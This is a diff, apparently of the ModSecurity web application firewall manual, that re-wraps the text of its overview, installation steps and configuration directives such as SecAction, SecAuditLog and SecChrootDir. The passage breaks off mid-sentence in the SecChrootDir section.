Introduction - - ModSecurity is a web application firewall (WAF). With over 70% of - attacks now carried out over the web application level, organisations need - all the help they can get in making their systems secure. WAFs are - deployed to establish an increased external security layer to detect - and/or prevent attacks before they reach web applications. ModSecurity - provides protection from a range of attacks against web applications and - allows for HTTP traffic monitoring and real-time analysis with little or - no changes to existing infrastructure. - + ModSecurity is a web application firewall (WAF). With over 70% of attacks now carried out + over the web application level, organisations need all the help they can get in making their + systems secure. WAFs are deployed to establish an increased external security layer to detect + and/or prevent attacks before they reach web applications. ModSecurity provides protection + from a range of attacks against web applications and allows for HTTP traffic monitoring and + real-time analysis with little or no changes to existing infrastructure.
HTTP Traffic Logging - - Web servers are typically well-equipped to log traffic in a form - useful for marketing analyses, but fall short logging traffic to web - applications. In particular, most are not capable of logging the request - bodies. Your adversaries know this, and that is why most attacks are now - carried out via POST requests, rendering your systems blind. ModSecurity - makes full HTTP transaction logging possible, allowing complete requests - and responses to be logged. Its logging facilities also allow - fine-grained decisions to be made about exactly what is logged and when, - ensuring only the relevant data is recorded. As some of the request - and/or response may contain sensitive data in certain fields, - ModSecurity can be configured to mask these fields before they are - written to the audit log. + Web servers are typically well-equipped to log traffic in a form useful for marketing + analyses, but fall short logging traffic to web applications. In particular, most are not + capable of logging the request bodies. Your adversaries know this, and that is why most + attacks are now carried out via POST requests, rendering your systems blind. ModSecurity + makes full HTTP transaction logging possible, allowing complete requests and responses to be + logged. Its logging facilities also allow fine-grained decisions to be made about exactly + what is logged and when, ensuring only the relevant data is recorded. As some of the request + and/or response may contain sensitive data in certain fields, ModSecurity can be configured + to mask these fields before they are written to the audit log.
-
Real-Time Monitoring and Attack Detection - - In addition to providing logging facilities, ModSecurity can - monitor the HTTP traffic in real time in order to detect attacks. In - this case, ModSecurity operates as a web intrusion detection tool, - allowing you to react to suspicious events that take place at your web - systems. + In addition to providing logging facilities, ModSecurity can monitor the HTTP traffic in + real time in order to detect attacks. In this case, ModSecurity operates as a web intrusion + detection tool, allowing you to react to suspicious events that take place at your web + systems.
-
Attack Prevention and Just-in-time Patching - - ModSecurity can also act immediately to prevent attacks from - reaching your web applications. There are three commonly used - approaches: - + ModSecurity can also act immediately to prevent attacks from reaching your web + applications. There are three commonly used approaches: - Negative security model. A negative security model monitors - requests for anomalies, unusual behaviour, and common web - application attacks. It keeps anomaly scores for each request, IP - addresses, application sessions, and user accounts. Requests with - high anomaly scores are either logged or rejected altogether. + Negative security model. A negative security model monitors requests for anomalies, + unusual behaviour, and common web application attacks. It keeps anomaly scores for each + request, IP addresses, application sessions, and user accounts. Requests with high + anomaly scores are either logged or rejected altogether. - - Positive security model. When a positive security model is - deployed, only requests that are known to be valid are accepted, - with everything else rejected. This model requires knownledge of the - web applications you are protecting. Therefore a positive security - model works best with applications that are heavily used but rarely - updated so that maintenance of the model is minimized. + Positive security model. When a positive security model is deployed, only requests + that are known to be valid are accepted, with everything else rejected. This model + requires knownledge of the web applications you are protecting. Therefore a positive + security model works best with applications that are heavily used but rarely updated so + that maintenance of the model is minimized. - - Known weaknesses and vulnerabilities. Its rule language makes - ModSecurity an ideal external patching tool. External patching - (sometimes referred to as Virtual Patching) is about reducing the - window of opportunity. Time needed to patch application - vulnerabilities often runs to weeks in many organisations. With - ModSecurity, applications can be patched from the outside, without - touching the application source code (and even without any access to - it), making your systems secure until a proper patch is applied to - the application. + Known weaknesses and vulnerabilities. Its rule language makes ModSecurity an ideal + external patching tool. External patching (sometimes referred to as Virtual Patching) is + about reducing the window of opportunity. Time needed to patch application + vulnerabilities often runs to weeks in many organisations. With ModSecurity, + applications can be patched from the outside, without touching the application source + code (and even without any access to it), making your systems secure until a proper + patch is applied to the application.
-
Flexible Rule Engine - - A flexible rule engine sits in the heart of ModSecurity. It - implements the ModSecurity Rule Language, which is a specialised - programming language designed to work with HTTP transaction data. The - ModSecurity Rule Language is designed to be easy to use, yet flexible: - common operations are simple while complex operations are possible. - Certified ModSecurity Rules, included with ModSecurity, contain a - comprehensive set of rules that implement general-purpose hardening, - protocol validation and detection of common web application security - issues. Heavily commented, these rules can be used as a learning - tool. + A flexible rule engine sits in the heart of ModSecurity. It implements the ModSecurity + Rule Language, which is a specialised programming language designed to work with HTTP + transaction data. The ModSecurity Rule Language is designed to be easy to use, yet flexible: + common operations are simple while complex operations are possible. Certified ModSecurity + Rules, included with ModSecurity, contain a comprehensive set of rules that implement + general-purpose hardening, protocol validation and detection of common web application + security issues. Heavily commented, these rules can be used as a learning tool.
-
Embedded-mode Deployment - - ModSecurity is an embeddable web application firewall, which means - it can be deployed as part of your existing web server infrastructure - provided your web servers are Apache-based. This deployment method has - certain advantages: - + ModSecurity is an embeddable web application firewall, which means it can be deployed as + part of your existing web server infrastructure provided your web servers are Apache-based. + This deployment method has certain advantages: - No changes to existing network. It only takes a few minutes to - add ModSecurity to your existing web servers. And because it was - designed to be completely passive by default, you are free to deploy - it incrementally and only use the features you need. It is equally - easy to remove or deactivate it if required. + No changes to existing network. It only takes a few minutes to add ModSecurity to + your existing web servers. And because it was designed to be completely passive by + default, you are free to deploy it incrementally and only use the features you need. It + is equally easy to remove or deactivate it if required. - - No single point of failure. Unlike with network-based - deployments, you will not be introducing a new point of failure to - your system. + No single point of failure. Unlike with network-based deployments, you will not be + introducing a new point of failure to your system. - - Implicit load balancing and scaling. Because it works embedded - in web servers, ModSecurity will automatically take advantage of the - additional load balancing and scalability features. You will not - need to think of load balancing and scaling unless your existing - system needs them. + Implicit load balancing and scaling. Because it works embedded in web servers, + ModSecurity will automatically take advantage of the additional load balancing and + scalability features. You will not need to think of load balancing and scaling unless + your existing system needs them. - - Minimal overhead. Because it works from inside the web server - process there is no overhead for network communication and minimal - overhead in parsing and data exchange. + Minimal overhead. Because it works from inside the web server process there is no + overhead for network communication and minimal overhead in parsing and data + exchange. - - No problem with encrypted or compressed content. Many IDS - systems have difficulties analysing SSL traffic. This is not a - problem for ModSecurity because it is positioned to work when the - traffic is decrypted and decompressed. + No problem with encrypted or compressed content. Many IDS systems have difficulties + analysing SSL traffic. This is not a problem for ModSecurity because it is positioned to + work when the traffic is decrypted and decompressed.
-
Network-based Deployment - - ModSecurity works equally well when deployed as part of an - Apache-based reverse proxy server, and many of our customers choose to - do so. In this scenario, one installation of ModSecurity can protect any - number of web servers (even the non-Apache ones). + ModSecurity works equally well when deployed as part of an Apache-based reverse proxy + server, and many of our customers choose to do so. In this scenario, one installation of + ModSecurity can protect any number of web servers (even the non-Apache ones).
-
Portability - - ModSecurity is known to work well on a wide range of operating - systems. Our customers are successfully running it on Linux, Windows, - Solaris, FreeBSD, OpenBSD, NetBSD, AIX, Mac OS X, and HP-UX. + ModSecurity is known to work well on a wide range of operating systems. Our customers + are successfully running it on Linux, Windows, Solaris, FreeBSD, OpenBSD, NetBSD, AIX, Mac + OS X, and HP-UX.
-
Licensing - - ModSecurity is available under two licenses. Users can choose to - use the software under the terms of the GNU General Public License - version 2 (licence text is included with the distribution), as an Open - Source / Free Software product. A range of commercial licenses is also - available, together with a range of commercial support contracts. For - more information on commercial licensing please contact Breach - Security. - + ModSecurity is available under two licenses. Users can choose to use the software under + the terms of the GNU General Public License version 2 (licence text is included with the + distribution), as an Open Source / Free Software product. A range of commercial licenses is + also available, together with a range of commercial support contracts. For more information + on commercial licensing please contact Breach Security. - ModSecurity, mod_security, ModSecurity Pro, and ModSecurity Core - Rules are trademarks or registered trademarks of Breach Security, - Inc. + ModSecurity, mod_security, ModSecurity Pro, and ModSecurity Core Rules are trademarks + or registered trademarks of Breach Security, Inc.
-
<trademark>ModSecurity Core Rules</trademark> -
Overview - - ModSecurity is a web application firewall engine that provides - very little protection on its own. In order to become useful, - ModSecurity must be configured with rules. In order to enable users to - take full advantage of ModSecurity out of the box, Breach Security, Inc. - is providing a free certified rule set for ModSecurity 2.x. Unlike - intrusion detection and prevention systems, which rely on signatures - specific to known vulnerabilities, the Core Rules provide generic - protection from unknown vulnerabilities often found in web applications, - which are in most cases custom coded. The Core Rules are heavily - commented to allow it to be used as a step-by-step deployment guide for - ModSecurity. The latest Core Rules can be found at the ModSecurity - website - http://www.modsecurity.org/projects/rules/. + ModSecurity is a web application firewall engine that provides very little protection on + its own. In order to become useful, ModSecurity must be configured with rules. In order to + enable users to take full advantage of ModSecurity out of the box, Breach Security, Inc. is + providing a free certified rule set for ModSecurity 2.x. Unlike intrusion detection and + prevention systems, which rely on signatures specific to known vulnerabilities, the Core + Rules provide generic protection from unknown vulnerabilities often found in web + applications, which are in most cases custom coded. The Core Rules are heavily commented to + allow it to be used as a step-by-step deployment guide for ModSecurity. The latest Core + Rules can be found at the ModSecurity website - http://www.modsecurity.org/projects/rules/.
-
Core Rules Content - - In order to provide generic web applications protection, the Core - Rules use the following techniques: - + In order to provide generic web applications protection, the Core Rules use the + following techniques: - HTTP protection - detecting violations of the HTTP protocol - and a locally defined usage policy. + HTTP protection - detecting violations of the HTTP protocol and a locally defined + usage policy. - - Common Web Attacks Protection - detecting common web - application security attack. + Common Web Attacks Protection - detecting common web application security + attack. - - Automation detection - Detecting bots, crawlers, scanners and - other surface malicious activity. + Automation detection - Detecting bots, crawlers, scanners and other surface + malicious activity. - Trojan Protection - Detecting access to Trojans horses. - - Error Hiding - Disguising error messages sent by the - server. + Error Hiding - Disguising error messages sent by the server.
-
Installation - ModSecurity installation consists of the following steps: - ModSecurity 2.x works with Apache 2.0.x or better. - - Make sure you have mod_unique_id installed. - + Make sure you have mod_unique_id installed. mod_unique_id is packaged with Apache httpd. - - Install the latest version of libxml2, if it isn't already - installed on the server. - - http://xmlsoft.org/downloads.html + Install the latest version of libxml2, if it isn't already installed on the + server. + http://xmlsoft.org/downloads.html - - Optionally install the latest version of Lua in the 5.1.x - branch, if it isn't already installed on the server and you will be - using the new Lua engine. - - http://www.lua.org/download.html - - Note that ModSecurity requires the dynamic libraries. These are - not built by default in the source distribution, so the binary - distribution is recommended. + Optionally install the latest version of Lua in the 5.1.x branch, if it isn't already + installed on the server and you will be using the new Lua engine. + http://www.lua.org/download.html + Note that ModSecurity requires the dynamic libraries. These are not built by default + in the source distribution, so the binary distribution is recommended. - Stop Apache httpd - Unpack the ModSecurity archive - - Building differs for UNIX (or UNIX-like) operating systems and - Windows. - + Building differs for UNIX (or UNIX-like) operating systems and Windows. UNIX - - Run the configure script to generate a Makefile. - Typically no options are needed. - + Run the configure script to generate a Makefile. Typically no options are + needed. ./configure - - Options are available for more customization (use - ./configure --help for a full list), but - typically you will only need to specify the location of the - apxs command installed by Apache httpd with - the --with-apxs option. - + Options are available for more customization (use ./configure + --help for a full list), but typically you will only need to specify + the location of the apxs command installed by Apache httpd with + the --with-apxs option. ./configure - --with-apxs=/path/to/httpd-2.x.y/bin/apxs - + --with-apxs=/path/to/httpd-2.x.y/bin/apxs - There are certain configure options that are meant for - debugging an other development use. If enabled, these - options can substantially impact performance. These options - include all --debug-* options as well as - the --enable-performance-measurements - options. + There are certain configure options that are meant for debugging an other + development use. If enabled, these options can substantially impact performance. + These options include all --debug-* options as well as the + --enable-performance-measurements options. - Compile with: make - - Optionally test with: make - test - + Optionally test with: make test - This is step is still a bit experimental. If you have - problems, please send the full output and error from the - build to the support list. Most common issues are related to - not finding the required headers and/or libraries. + This is step is still a bit experimental. If you have problems, please send + the full output and error from the build to the support list. Most common issues + are related to not finding the required headers and/or libraries. - - Optionally build the ModSecurity Log Collector with: - make mlogc + Optionally build the ModSecurity Log Collector with: make + mlogc - - Optionally install mlogc: Review the - INSTALL file included in the - apache2/mlogc-src directory in the distribution. + Optionally install mlogc: Review the INSTALL file included in the apache2/mlogc-src directory in the + distribution. - - Install the ModSecurity module with: make - install + Install the ModSecurity module with: make install - Windows (MS VC++ 8) - - Edit Makefile.win to configure the - Apache base and library paths. + Edit Makefile.win to configure the Apache base and library + paths. - - Compile with: nmake -f - Makefile.win + Compile with: nmake -f Makefile.win - - Install the ModSecurity module with: nmake -f - Makefile.win install + Install the ModSecurity module with: nmake -f Makefile.win + install - - Copy the libxml2.dll and - lua5.1.dll to the Apache - bin directory. Alternatively you can follow - the step below for using LoadFile to load these - libraries. + Copy the libxml2.dll and lua5.1.dll to + the Apache bin directory. Alternatively you can follow the step + below for using LoadFile to load these libraries. - - Edit the main Apache httpd config file (usually - httpd.conf) - - On UNIX (and Windows if you did not copy the DLLs as stated - above) you must load libxml2 and lua5.1 before ModSecurity with - something like this: - - LoadFile /usr/lib/libxml2.so -LoadFile /usr/lib/liblua5.1.so - - Load the ModSecurity module with:LoadModule security2_module modules/mod_security2.so + Edit the main Apache httpd config file (usually httpd.conf) + On UNIX (and Windows if you did not copy the DLLs as stated above) you must load + libxml2 and lua5.1 before ModSecurity with something like this: + + LoadFile /usr/lib/libxml2.so +LoadFile /usr/lib/liblua5.1.so + + Load the ModSecurity module + with:LoadModule security2_module modules/mod_security2.so - Configure ModSecurity - Start Apache httpd - You should now have ModSecurity 2.x up and running. - - If you have compiled Apache yourself you might experience problems - compiling ModSecurity against PCRE. This is because Apache bundles PCRE - but this library is also typically provided by the operating system. I - would expect most (all) vendor-packaged Apache distributions to be - configured to use an external PCRE library (so this should not be a - problem). - - You want to avoid Apache using the bundled PCRE library and - ModSecurity linking against the one provided by the operating system. - The easiest way to do this is to compile Apache against the PCRE library - provided by the operating system (or you can compile it against the - latest PCRE version you downloaded from the main PCRE distribution - site). You can do this at configure time using the --with-pcre switch. If you are not in a - position to recompile Apache, then, to compile ModSecurity successfully, - you'd still need to have access to the bundled PCRE headers (they are - available only in the Apache source code) and change the include path - for ModSecurity (as you did in step 7 above) to point to them (via the - --with-pcre ModSecurity configure option). - - Do note that if your Apache is using an external PCRE library you - can compile ModSecurity with WITH_PCRE_STUDY defined,which would possibly - give you a slight performance edge in regular expression - processing. + If you have compiled Apache yourself you might experience problems compiling ModSecurity + against PCRE. This is because Apache bundles PCRE but this library is also typically + provided by the operating system. I would expect most (all) vendor-packaged Apache + distributions to be configured to use an external PCRE library (so this should not be a + problem). + You want to avoid Apache using the bundled PCRE library and ModSecurity linking against + the one provided by the operating system. The easiest way to do this is to compile Apache + against the PCRE library provided by the operating system (or you can compile it against the + latest PCRE version you downloaded from the main PCRE distribution site). You can do this at + configure time using the --with-pcre switch. If you are + not in a position to recompile Apache, then, to compile ModSecurity successfully, you'd + still need to have access to the bundled PCRE headers (they are available only in the Apache + source code) and change the include path for ModSecurity (as you did in step 7 above) to + point to them (via the --with-pcre ModSecurity configure option). + Do note that if your Apache is using an external PCRE library you can compile + ModSecurity with WITH_PCRE_STUDY defined,which would + possibly give you a slight performance edge in regular expression processing.
-
Configuration Directives - - The following section outlines all of the ModSecurity directives. - Most of the ModSecurity directives can be used inside the various Apache - Scope Directives such as VirtualHost, - Location, LocationMatch, - Directory, etc... There are others, however, that can - only be used once in the main configuration file. This information is - specified in the Scope sections below. The first version to use a given - directive is given in the Version sections below. - - These rules, along with the Core rules files, should be contained is - files outside of the httpd.conf file and called up with Apache "Include" - directives. This allows for easier updating/migration of the rules. If you - create your own custom rules that you would like to use with the Core - rules, you should create a file called - - modsecurity_crs_15_customrules.conf and place it in - the same directory as the Core rules files. By using this file name, your - custom rules will be called up after the standard ModSecurity Core rules - configuration file but before the other Core rules. This allows your rules - to be evaluated first which can be useful if you need to implement - specific "allow" rules or to correct any false positives in the Core rules - as they are applied to your site. - + The following section outlines all of the ModSecurity directives. Most of the ModSecurity + directives can be used inside the various Apache Scope Directives such as VirtualHost, Location, LocationMatch, + Directory, etc... There are others, however, that can only be used once + in the main configuration file. This information is specified in the Scope sections below. The + first version to use a given directive is given in the Version sections below. + These rules, along with the Core rules files, should be contained is files outside of the + httpd.conf file and called up with Apache "Include" directives. This allows for easier + updating/migration of the rules. If you create your own custom rules that you would like to + use with the Core rules, you should create a file called - modsecurity_crs_15_customrules.conf and place it in the same directory as the + Core rules files. By using this file name, your custom rules will be called up after the + standard ModSecurity Core rules configuration file but before the other Core rules. This + allows your rules to be evaluated first which can be useful if you need to implement specific + "allow" rules or to correct any false positives in the Core rules as they are applied to your + site. - It is highly encouraged that you do not edit the Core rules files - themselves but rather place all changes (such as - SecRuleRemoveByID, etc...) in your custom rules file. - This will allow for easier upgrading as newer Core rules are released by - Breach Security on the ModSecurity website. + It is highly encouraged that you do not edit the Core rules files themselves but rather + place all changes (such as SecRuleRemoveByID, etc...) in your custom + rules file. This will allow for easier upgrading as newer Core rules are released by Breach + Security on the ModSecurity website. -
<literal>SecAction</literal> - - Description: Unconditionally processes the - action list it receives as the first and only parameter. It accepts one - parameter, the syntax of which is identical to the third parameter - of SecRule. - - Syntax: SecAction - action1,action2,action3 - - Example Usage: SecAction - nolog,initcol:RESOURCE=%{REQUEST_FILENAME} - + Description: Unconditionally processes the action list it receives + as the first and only parameter. It accepts one parameter, the syntax of which is identical + to the third parameter of SecRule. + Syntax: + SecAction action1,action2,action3 + Example Usage: + SecAction + nolog,initcol:RESOURCE=%{REQUEST_FILENAME} Processing Phase: Any - Scope: Any - Version: 2.0.0 - Dependencies/Notes: None - - SecAction is best used when you unconditionally execute an action. - This is explicit triggering whereas the normal Actions are conditional - based on data inspection of the request/response. This is a useful - directive when you want to run certain actions such as - initcol to initialize collections. + SecAction is best used when you unconditionally execute an action. This is explicit + triggering whereas the normal Actions are conditional based on data inspection of the + request/response. This is a useful directive when you want to run certain actions such as + initcol to initialize collections.
-
<literal>SecArgumentSeparator</literal> - - Description: Specifies which character to use - as separator for - application/x-www-form-urlencoded content. Defaults to - &. Applications are sometimes - (very rarely) written to use a semicolon (;). - - Syntax: SecArgumentSeparator character - - Example Usage: SecArgumentSeparator ; - + Description: Specifies which character to use as separator + for application/x-www-form-urlencoded content. Defaults + to &. Applications are sometimes (very rarely) + written to use a semicolon (;). + Syntax: + SecArgumentSeparator character + Example Usage: + SecArgumentSeparator ; Processing Phase: Any - Scope: Main - Version: 2.0.0 - Dependencies/Notes: None - - This directive is needed if a backend web application is using a - non-standard argument separator. If this directive is not set properly - for each web application, then ModSecurity will not be able to parse the - arguments appropriately and the effectiveness of the rule matching will - be significantly decreased. + This directive is needed if a backend web application is using a non-standard argument + separator. If this directive is not set properly for each web application, then ModSecurity + will not be able to parse the arguments appropriately and the effectiveness of the rule + matching will be significantly decreased.
-
<literal>SecAuditEngine</literal> - - Description: Configures the audit logging - engine. - - Syntax: SecAuditEngine On|Off|RelevantOnly - - Example Usage: SecAuditEngine On - + Description: Configures the audit logging engine. + Syntax: + SecAuditEngine On|Off|RelevantOnly + Example Usage: + SecAuditEngine On Processing Phase: N/A - Scope: Any - Version: 2.0.0 - - Dependencies/Notes: Can be set/changed with - the "ctl" action for the current transaction. - - Example: The following example shows the various audit directives - used together. - + Dependencies/Notes: Can be set/changed with the "ctl" action for the current transaction. + Example: The following example shows the various audit directives used together. SecAuditEngine RelevantOnly SecAuditLog logs/audit/audit.log SecAuditLogParts ABCFHZ SecAuditLogType concurrent SecAuditLogStorageDir logs/audit SecAuditLogRelevantStatus ^(?:5|4\d[^4]) - Possible values are: - - On - log all transactions - by default. + On - log all transactions by default. - - Off - do not log - transactions by default. + Off - do not log transactions by default. - - RelevantOnly - by default - only log transactions that have triggered a warning or an error, or - have a status code that is considered to be relevant (see SecAuditLogRelevantStatus). + RelevantOnly - by default only log transactions + that have triggered a warning or an error, or have a status code that is considered to + be relevant (see SecAuditLogRelevantStatus).
-
<literal>SecAuditLog</literal> - - Description: Defines the path to the main - audit log file. - - Syntax: SecAuditLog - /path/to/auditlog - - Example Usage: SecAuditLog - /usr/local/apache/logs/audit.log - + Description: Defines the path to the main audit log file. + Syntax: + SecAuditLog /path/to/auditlog + Example Usage: + SecAuditLog /usr/local/apache/logs/audit.log Processing Phase: N/A - Scope: Any - Version: 2.0.0 - - Dependencies/Notes: This file is open on - startup when the server typically still runs as - root. You should not allow non-root users to have write - privileges for this file or for the directory it is stored in.. - - This file will be used to store the audit log entries if serial - audit logging format is used. If concurrent audit logging format is used - this file will be used as an index, and contain a record of all audit - log files created. If you are planning to use Concurrent audit logging - and sending your audit log data off to a remote Console host or - commercial ModSecurity Management Appliance, then you will need to - configure and use the ModSecurity Log Collector (mlogc) and use the - following format for the audit log: - - SecAuditLog "|/path/to/mlogc /path/to/mlogc.conf" + Dependencies/Notes: This file is open on startup when the server + typically still runs as root. You should not allow non-root users to + have write privileges for this file or for the directory it is stored in.. + This file will be used to store the audit log entries if serial audit logging format is + used. If concurrent audit logging format is used this file will be used as an index, and + contain a record of all audit log files created. If you are planning to use Concurrent audit + logging and sending your audit log data off to a remote Console host or commercial + ModSecurity Management Appliance, then you will need to configure and use the ModSecurity + Log Collector (mlogc) and use the following format for the audit log: + + SecAuditLog "|/path/to/mlogc /path/to/mlogc.conf" +
-
<literal>SecAuditLog2</literal> - - Description: Defines the path to the - secondary audit log index file when concurrent logging is enabled. See - SecAuditLog2 for more details. - - Syntax: SecAuditLog2 - /path/to/auditlog2 - - Example Usage: SecAuditLog2 - /usr/local/apache/logs/audit2.log - + Description: Defines the path to the secondary audit log index file + when concurrent logging is enabled. See SecAuditLog2 for + more details. + Syntax: + SecAuditLog2 /path/to/auditlog2 + Example Usage: + SecAuditLog2 /usr/local/apache/logs/audit2.log Processing Phase: N/A - Scope: Any - Version: 2.1.2 - - Dependencies/Notes: A main audit log must be - defined via SecAuditLog before this - directive may be used. Additionally, this log is only used for - replicating the main audit log index file when concurrent audit logging - is used. It will not be used for non-concurrent - audit logging. + Dependencies/Notes: A main audit log must be defined via SecAuditLog before this directive may be used. Additionally, + this log is only used for replicating the main audit log index file when concurrent audit + logging is used. It will not be used for non-concurrent audit + logging.
-
<literal>SecAuditLogParts</literal> - - Description: Defines which part of each - transaction are going to be recorded in audit log. Each part is assigned - a single letter. If a letter appears in the list then the equivalent - part of each transactions will be recorded. See below for the list of - all parts. - - Syntax: SecAuditLogParts PARTS - - Example Usage: SecAuditLogParts ABCFHZ - + Description: Defines which part of each transaction are going to be + recorded in audit log. Each part is assigned a single letter. If a letter appears in the + list then the equivalent part of each transactions will be recorded. See below for the list + of all parts. + Syntax: + SecAuditLogParts PARTS + Example Usage: + SecAuditLogParts ABCFHZ Processing Phase: N/A - Scope: Any - Version: 2.0.0 - - Dependencies/Notes: At this time ModSecurity - does not log response bodies of stock Apache responses (e.g. 404), or the Server and Date response headers. - Default: ABCFHZ. - - Available audit log parts: - - - - A - audit log header - (mandatory) - - - - B - request headers - - - - C - request body (present - only if the request body exists and ModSecurity is configured to - intercept it) - - - - D - RESERVED for - intermediary response headers, not implemented yet. - - - - E - intermediary response - body (present only if ModSecurity is configured to intercept - response bodies, and if the audit log engine is configured to record - it). Intermediary response body is the same as the actual response - body unless ModSecurity intercepts the intermediary response body, - in which case the actual response body will contain the error - message (either the Apache default error message, or the - ErrorDocument page). - - - - F - final response headers - (excluding the Date and Server headers, which are always added by - Apache in the late stage of content delivery). - - - - G - RESERVED for the actual - response body, not implemented yet. - - - - H - audit log - trailer - - - - I - This part is a - replacement for part C. It will log the same data as C in all cases - except when multipart/form-data - encoding in used. In this case it will log a fake application/x-www-form-urlencoded body - that contains the information about parameters but not about the - files. This is handy if you don't want to have (often large) files - stored in your audit logs. - - - - J - RESERVED. This part, - when implemented, will contain information about the files uploaded - using multipart/form-data encoding. - - - - K - This part contains a - full list of every rule that matched (one per line) in the order - they were matched. The rules are fully qualified and will thus show - inherited actions and default operators. Supported as of - v2.5.0 - - - - Z - final boundary, - signifies the end of the entry (mandatory) - - + Please refer to the ModSecurity Data Formats document for a detailed description of + every available part.
-
<literal>SecAuditLogRelevantStatus</literal> - - Description: Configures which response status - code is to be considered relevant for the purpose of audit - logging. - - Syntax: SecAuditLogRelevantStatus REGEX - - Example Usage: SecAuditLogRelevantStatus - ^(?:5|4\d[^4]) - + Description: Configures which response status code is to be + considered relevant for the purpose of audit logging. + Syntax: + SecAuditLogRelevantStatus REGEX + Example Usage: + SecAuditLogRelevantStatus ^(?:5|4\d[^4]) Processing Phase: N/A - Scope: Any - Version: 2.0.0 - - Dependencies/Notes: Must have the - SecAuditEngine set to - RelevantOnly. The parameter is a regular - expression. - - The main purpose of this directive is to allow you to configure - audit logging for only transactions that generate the specified HTTP - Response Status Code. This directive is often used to the decrease the - total size of the audit log file. Keep in mind that if this parameter is - used, then successful attacks that result in a 200 OK status code will - not be logged. + Dependencies/Notes: Must have the SecAuditEngine + set to RelevantOnly. The parameter is a regular expression. + The main purpose of this directive is to allow you to configure audit logging for only + transactions that generate the specified HTTP Response Status Code. This directive is often + used to the decrease the total size of the audit log file. Keep in mind that if this + parameter is used, then successful attacks that result in a 200 OK status code will not be + logged.
-
<literal>SecAuditLogStorageDir</literal> - - Description: Configures the storage directory - where concurrent audit log entries are to be stored. - - Syntax: SecAuditLogStorageDir - /path/to/storage/dir - - Example Usage: SecAuditLogStorageDir - /usr/local/apache/logs/audit - + Description: Configures the storage directory where concurrent + audit log entries are to be stored. + Syntax: + SecAuditLogStorageDir /path/to/storage/dir + Example Usage: + SecAuditLogStorageDir /usr/local/apache/logs/audit Processing Phase: N/A - Scope: Any - Version: 2.0.0 - - Dependencies/Notes: SecAuditLogType must be - set to Concurrent. The directory must already be created before starting - Apache and it must be writable by the web server user as new files are - generated at runtime. - - As with all logging mechanisms, ensure that you specify a file - system location that has adequate disk space and is not on the root - partition. + Dependencies/Notes: SecAuditLogType must be set to Concurrent. The + directory must already be created before starting Apache and it must be writable by the web + server user as new files are generated at runtime. + As with all logging mechanisms, ensure that you specify a file system location that has + adequate disk space and is not on the root partition.
-
<literal>SecAuditLogType</literal> - - Description: Configures the type of audit - logging mechanism to be used. - - Syntax: SecAuditLogType Serial|Concurrent - - Example Usage: SecAuditLogType Serial - + Description: Configures the type of audit logging mechanism to be + used. + Syntax: + SecAuditLogType Serial|Concurrent + Example Usage: + SecAuditLogType Serial Processing Phase: N/A - Scope: Any - Version: 2.0.0 - - Dependencies/Notes: Must specify - SecAuditLogStorageDir if you use concurrent - logging. - + Dependencies/Notes: Must specify SecAuditLogStorageDir if you use concurrent logging. Possible values are: - - Serial - all audit log - entries will be stored in the main audit logging file. This is more - convenient for casual use but it is slower as only one audit log - entry can be written to the file at any one file. + Serial - all audit log entries will be stored in + the main audit logging file. This is more convenient for casual use but it is slower as + only one audit log entry can be written to the file at any one file. - - Concurrent - audit log - entries will be stored in separate files, one for each transaction. - Concurrent logging is the mode to use if you are going to send the - audit log data off to a remote ModSecurity Console host. + Concurrent - audit log entries will be stored in + separate files, one for each transaction. Concurrent logging is the mode to use if you + are going to send the audit log data off to a remote ModSecurity Console host.
-
- <literal>SecCacheTransformations</literal> - (Deprecated/Experimental) - - Description: Controls caching of - transformations. Caching is off by default starting with 2.5.6, when it - was deprecated and downgraded back to experimental. - - Syntax: SecCacheTransformations On|Off - [options] - - Example Usage: SecCacheTransformations On - "minlen:64,maxlen:0" - + <literal>SecCacheTransformations</literal> (Deprecated/Experimental) + Description: Controls caching of transformations. Caching is off by + default starting with 2.5.6, when it was deprecated and downgraded back to + experimental. + Syntax: + SecCacheTransformations On|Off [options] + Example Usage: + SecCacheTransformations On "minlen:64,maxlen:0" Processing Phase: N/A - Scope: Any - Version: 2.5.0 - Dependencies/Notes: N/A - First parameter: - - On - cache transformations - (per transaction, per phase) allowing identical transformations to - be performed only once. (default) + On - cache transformations (per transaction, per + phase) allowing identical transformations to be performed only once. (default) - - Off - do not cache any - transformations, forcing all transformations to be performed for - each rule executed. + Off - do not cache any transformations, forcing + all transformations to be performed for each rule executed. - The following options are allowed (comma separated): - - incremental:on|off - - enabling this option will cache every transformation instead of just - the final transformation. (default: off) + incremental:on|off - enabling this option will + cache every transformation instead of just the final transformation. (default: + off) - - maxitems:N - do not allow - more than N transformations to be cached. The cache will then be - disabled. A zero value is interpreted as "unlimited". This option - may be useful to limit caching for a form with a large number of - ARGS. (default: 512) + maxitems:N - do not allow more than N + transformations to be cached. The cache will then be disabled. A zero value is + interpreted as "unlimited". This option may be useful to limit caching for a form with a + large number of ARGS. (default: 512) - - minlen:N - do not cache the - transformation if the value's length is less than N bytes. (default: - 32) + minlen:N - do not cache the transformation if the + value's length is less than N bytes. (default: 32) - - maxlen:N - do not cache the - transformation if the value's length is more than N bytes. A zero - value is interpreted as "unlimited". (default: 1024) + maxlen:N - do not cache the transformation if the + value's length is more than N bytes. A zero value is interpreted as "unlimited". + (default: 1024)
-
<literal>SecChrootDir</literal> - - Description: Configures the directory path - that will be used to jail the web server process. - - Syntax: SecChrootDir - /path/to/chroot/dir - - Example Usage: SecChrootDir /chroot - + Description: Configures the directory path that will be used to + jail the web server process. + Syntax: + SecChrootDir /path/to/chroot/dir + Example Usage: + SecChrootDir /chroot Processing Phase: N/A - Scope: Main - Version: 2.0.0 - - Dependencies/Notes: This feature is not - available on Windows builds. The internal chroot functionality provided - by ModSecurity works great for simple setups. One example of a simple - setup is Apache serving static files only, or running scripts using - modules.builds. Some problems you might encounter with more complex - setups: - + Dependencies/Notes: This feature is not available on Windows + builds. The internal chroot functionality provided by ModSecurity works great for simple + setups. One example of a simple setup is Apache serving static files only, or running + scripts using modules.builds. Some problems you might encounter with more complex + setups: - DNS lookups do not work (this is because this feature requires - a shared library that is loaded on demand, after chroot takes - place). + DNS lookups do not work (this is because this feature requires a shared library that + is loaded on demand, after chroot takes place). - - You cannot send email from PHP because it uses sendmail and - sendmail is outside the jail. + You cannot send email from PHP because it uses sendmail and sendmail is outside the + jail. - In some cases Apache graceful (reload) no longer works. - - You should be aware that the internal chroot feature might not be - 100% reliable. Due to the large number of default and third-party - modules available for the Apache web server, it is not possible to - verify the internal chroot works reliably with all of them. A module, - working from within Apache, can do things that make it easy to break out - of the jail. In particular, if you are using any of the modules that - fork in the module initialisation phase 